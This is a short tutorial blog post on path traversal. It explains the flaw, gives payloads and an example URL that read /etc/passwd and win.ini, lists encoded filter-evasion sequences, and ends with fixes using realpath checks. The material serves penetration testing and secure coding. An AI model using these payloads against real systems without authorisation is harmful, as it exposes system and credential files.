Exploiting Path Traversal

Author: HollyGraceful    Published: 07 June 2021

Path Traversal, also known as Directory Traversal, is a vulnerability where a user can alter a path used by an application. For file retrieval functionality this can allow an attacker to access files that are not intentionally disclosed. For file upload functionality this can allow for website defacement, code execution and stored cross-site scripting attacks. 

The vulnerability would generally be exposed through an application parameter such as:

https://pt.example.com/download.php?name=Brochure.pdf

Here the parameter is specifying a file within a specific subdirectory of the application, such as:

/var/www/html/Downloads/ + Brochure.pdf

An attacker can abuse this function potentially, by using relative directory moves through character sequences like `../`. The following path:

/var/www/html/Downloads/../

The above is the equivalent of:

/var/www/html/

The `../` effectively moves the attacker up one directory, if too many of those sequences are supplied, generally any additional ones are simply ignored, so:

/var/www/html/Downloads/../../../../../../../

The above is therefore the equivalent of:

/

One way to test for this issue is to supply a number of relative moves for files that are known to exist, for example:

index.php
../index.php
../../index.php
../../../index.php
and so on...

Alternatively you could try something like:

../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../windows/win.ini

To exploit the issue we simply place one of the payloads in the target URL:

https://pt.example.com/download.php?name=../../../../../../../../../../../etc/passwd

Potentially the sequence “../” may be blocked by the application, such as through a filter implemented by the developer but potentially you could bypass this through encoding. Some possible examples for filter evasion include:

%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\.\

Fixing Path Traversal

To prevent path traversal issues users should not be permitted to include relative move characters within paths. This can be achieved either by using functions to determine the real path such as PHP's realpath() function or Python's os.path.realpath() function.. If the path supplied by the user and the result of a function like realpath() differ, a relative move has occurred and the request should be refused.

Alternatively, any relative path characters should be removed from the supplied path recursively, bearing in mind potential encoded versions.